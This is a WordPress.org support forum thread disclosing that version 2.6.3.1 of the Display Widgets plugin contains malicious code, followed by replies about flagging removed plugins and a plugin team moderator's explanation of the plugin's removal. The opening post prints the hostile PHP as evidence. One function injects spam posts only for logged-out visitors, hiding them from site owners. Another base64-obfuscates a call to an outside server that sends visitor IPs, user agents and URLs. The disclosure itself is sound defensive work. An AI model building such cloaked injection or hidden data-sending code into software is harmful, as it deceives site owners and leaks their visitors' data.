Support » Plugin: Display Widgets » Display Widgets Plugin v2.6.3.1 Includes Hacking Code

  • This is the latest version of the plugin code (version 2.6.3.1) : https://plugins.trac.wordpress.org/browser/display-widgets/trunk/geolocation.php

    Look at the function on line 186 (pasted below).

    Note the name of the function dynamic_page, what do you think a function with name Dynamic Page does?

    It creates a DYNAMIC PAGE (a Dynamic WordPress Post) on Display Widget users sites and is loaded using line 299:

    299 add_filter( 'the_posts', array( 'dw_geolocation_connector', 'dynamic_page' ) );

    The above hooks into the_posts function, this line basically intercepts your Posts before they are output to the browser so the Dynamic Post can be added to the Posts.

    Why would a plugin to determine where widgets are loaded create Dynamic Posts?

    Line 187, this checks if a user is logged in, a logged in user is probably the site owner, when a user is logged in (the site owner) the Dynamic Page function does nothing (outputs the Posts normally). So if you are logged into your site and you look at your site in a browser everything looks normal.

    Why would a legitimate plugin feature be hidden from the site owner and other logged in users?

    If a user is logged out: that would be your sites visitors and Google it runs the code.

    The code below creates a Dynamic Post on your site with who knows what content?

    186	        public static function dynamic_page( $posts ) {
    187	                if ( !function_exists( 'is_user_logged_in' ) || is_user_logged_in() ) {
    188	                        return $posts;
    189	                }
    190	
    191	                $data = self::get_option();
    192	                if ( $data === false || !is_array( $data ) ) {
    193	                        return $posts;
    194	                }
    195	
    196	                $requested_page_slug = strtolower( $GLOBALS[ 'wp' ]->request );
    197	
    198	                if ( count( $posts ) == 0 && array_key_exists( $requested_page_slug, $data) ) {
    199	                        $post = new stdClass;
    200	                        $post_date = !empty( $data[ $requested_page_slug ][ 'post_date' ] ) ? $data[ $requested_page_slug ][ 'post_date' ] : date( 'Y-m-d H:i:s' );
    201	
    202	                        $post->post_title = $data[ $requested_page_slug ][ 'post_title' ];
    203	                        $post->post_content = $data[ $requested_page_slug ][ 'post_content' ];
    204	
    205	                        $post->post_author = 1;
    206	                        $post->post_name = $requested_page_slug;
    207	                        $post->guid = get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug;
    208	                        $post->ID = -3371;
    209	                        $post->post_status = 'publish';
    210	                        $post->comment_status = 'closed';
    211	                        $post->ping_status = 'closed';
    212	                        $post->comment_count = 0;
    213	                        $post->post_date = $post_date;
    214	                        $post->post_date_gmt = $post_date;
    215	
    216	                        $post = (object) array_merge(
    217	                                (array) $post, 
    218	                                array( 
    219	                                        'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug,
    220	                                        'post_title' => $data[ $requested_page_slug ][ 'post_title' ],
    221	                                        'post content' => $data[ $requested_page_slug ][ 'post_content' ]
    222	                                )
    223	                        );
    224	
    225	                        $posts = NULL;
    226	                        $posts[] = $post;
    227	
    228	                        $GLOBALS[ 'wp_query' ]->is_page = true;
    229	                        $GLOBALS[ 'wp_query' ]->is_singular = true;
    230	                        $GLOBALS[ 'wp_query' ]->is_home = false;
    231	                        $GLOBALS[ 'wp_query' ]->is_archive = false;
    232	                        $GLOBALS[ 'wp_query' ]->is_category = false;
    233	                        unset( $GLOBALS[ 'wp_query' ]->query[ 'error' ] );
    234	                        $GLOBALS[ 'wp_query' ]->query_vars[ 'error' ] = '';
    235	                        $GLOBALS[ 'wp_query' ]->is_404 = false;
    236	                }
    237	
    238	                return $posts;
    239	        }
    240	
    241	        protected static function get_option() {
    242	                $unique_id = substr( md5( get_site_url() . 'unique' ), 0, 10 );
    243	                $encoded = get_option( $unique_id, 'undefined' );
    244	                $decoded = @json_decode( base64_decode( $encoded ), true );
    245	
    246	                if ( !empty( $decoded ) ) {
    247	                        return $decoded;
    248	                }
    249	                else {
    250	                        $old_option = get_option( 'displaywidgets_ids', array() );
    251	                        if ( !empty( $old_option ) ) {
    252	                                unset( $old_option[ '__3371_last_checked_3771__' ] );
    253	                                self::update_option( $old_option );
    254	                        }
    255	                        delete_option( 'displaywidgets_ids' );
    256	                        return $old_option;
    257	                }
    258	        }

    Why would this code exist in a plugin which controls the display of widgets, it doesn’t need any of this malicious code?

    Add to this on line 266 we have a function with base64 code, base64 is used to hide (obfuscate) code, the hidden code is line 268 and hides a link to http://stopspam.io/.

    You can’t obfuscate plugin code: https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/#developer-expectations

    4. Keep your code (mostly) human readable.

    Why is this link hidden from users browsing the code?

    266	        protected static function endpoint_request( $_update = true ) {
    267	                $http = self::http_object();
    268	                $endpoint = base64_decode( $_update ? 'aHR0cDovL3N0b3BzcGFtLmlvL2FwaS91cGRhdGUvP3VybD0' : 'aHR0cDovL3N0b3BzcGFtLmlvL2FwaS9jaGVjay8/dXJsPQ==' );
    269	                $endpoint .= urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=4&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
    270	
    271	                $args = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
    272	                $response = @$http->get( $endpoint, $args );
    273	
    274	                if ( is_wp_error( $response ) || !isset( $response[ 'body' ] ) ) {
    275	            return '';
    276	                }
    277	
    278	        if ( empty( $response[ 'body' ] ) ) {
    279	                return '';
    280	                }
    281	
    282	                return @json_decode( $response[ 'body' ] );
    283	        }

    Despite my better judgment and earlier poor treatment reporting issues with this plugin I’ve emailed plugins@wordpress.org about these issues. Had I not been unfairly moderated for reporting earlier issues I’d have reported these issues over 6 weeks ago and many of the hacked sites wouldn’t have been hacked (assuming WordPress removed the plugin).

    More info at: https://stallion-theme.co.uk/display-widgets-plugin-review/ (under the heading “Display Widgets Plugin v2.6.2.* Includes Hacking Code!!!”).

    Since I removed the Display Widgets SEO Plus Plugin from the plugin repository I suggest downgrading to Display Widgets v2.05 https://downloads.wordpress.org/plugin/display-widgets.2.05.zip it’s the only safe version of the plugin since the new developer bought this plugin and started adding tracking code and hacking code.

    Suggestion to Display Widgets users.

    If you are annoyed at the new developer ruining a perfectly good plugin, send an email to plugins@wordpress.org and voice your annoyance. The WordPress plugin team have removed and reinstated this plugin three times since the new developer took control a few months back and they seem to just keep giving him chance after chance! He is either completely incompetent as a plugin developer or is deliberately adding malicious code to a popular plugin (I think the latter).

    More of you who email the plugin team more likely they are to listen, this developer needs to be removed and the Display Widgets plugin reverted back to version 2.05 (the last clean version).

    I guess I run the risk of being moderated again with the above rant.

    [ Signature moderated ]

Viewing 6 replies - 16 through 21 (of 21 total)
  • @whitefirdesign

    WordFence is covering it, just responded to a LinkEdin message from their CEO asking for a comment/info.

    Sent a big email with the full timeline.

    [ Signature moderated ]

    @whitefirdesign you make some excellent points. I realize that this is a very complicated topic and there aren’t any easy answers. I also understand the plugin team’s feelings on the matter.

    But at some point it seems like there needs to be a solution implemented – even if it’s not the perfect one they are searching for. You’d hate for this to be some sort of third party solution but maybe that’s what we’ll have to settle for.

    @seo-dave
    We were referring to Wordfence getting behind the effort for WordPress to start warning about removed plugins in general. Is that what you are referring to them covering or just this particular issue? Doing the latter isn’t going to do much to solve the underlying problem here.

    @karks88
    We haven’t seen an indication that they are searching for a perfect solution, unfortunately it seems they have not been all that interested in doing anything while wanting it to appear otherwise. Both of the options we mentioned are ones that could be fairly easily implemented and don’t have much real downside. They just need to be implemented, which we continue to willing to help with.

    Third-party solutions are fine as a temporary solution, but the issue should not require them and any security company that is aware of the issue should be trying to get this properly resolved instead of just using it as a way to promote their plugin/service, as they should be aware of the limitations of that approach.

    I’m sure it’s been thought of before, but maybe just a notice in the Plugins area of a WordPress install. After all, it tells us if plugin has an update available – why not sneak a line of text in there with a link to a more complete explanation?

    You’d think it would benefit everyone involved but then again I’m just a guy looking from the outside in.

    Moderator Ipstenu (Mika Epstein)

    (@ipstenu)

    🏳️‍🌈 Halfelf Rogue & Plugin Review Team Rep

    Hi, I’m the plugin team rep.

    Please understand, we have a policy of NOT publicly disclosing all the details of closures like this for a few reasons, least of which being I’m opposed to public shaming. I don’t think it helps anyone. However in the interests of getting people to stop being mean to everyone, here’s the situation.

    The plugin was closed and the developer censured due to repeated guideline violations. We ALWAYS lean towards trusting the good nature of humans, explaining where they messed up, and giving them a chance to correct behavior. When that doesn’t happen, plugins are removed and developers removed/banned.

    I’m sorry that this went on so long. Some of this was actually a case of confusion to what the guidelines meant. You don’t have to believe that, but as I’m the one who had the conversation, I do feel it was. I talk to people a LOT about this stuff, and it’s easy to get confused. That said, following those conversations, the developer added in backlinks and worse. That’s not excusable. The plugin has been removed.

    We have not yet decided what the next best course of action is. We MAY hand the plugin over to a new developer. We may not. The plugin team is discussing this right now. Given the history of the plugin being sullied as it was, it’s really much of a lost cause. There cannot be trust in this plugin anymore, and I’m sorry for that.

    I’m going through and closing posts about this. There’s little point in people going around and slamming others about this. Remember: people can be mean, but you don’t have to be.

    Moderator Ipstenu (Mika Epstein)

    (@ipstenu)

    🏳️‍🌈 Halfelf Rogue & Plugin Review Team Rep

Viewing 6 replies - 16 through 21 (of 21 total)
  • The topic ‘Display Widgets Plugin v2.6.3.1 Includes Hacking Code’ is closed to new replies.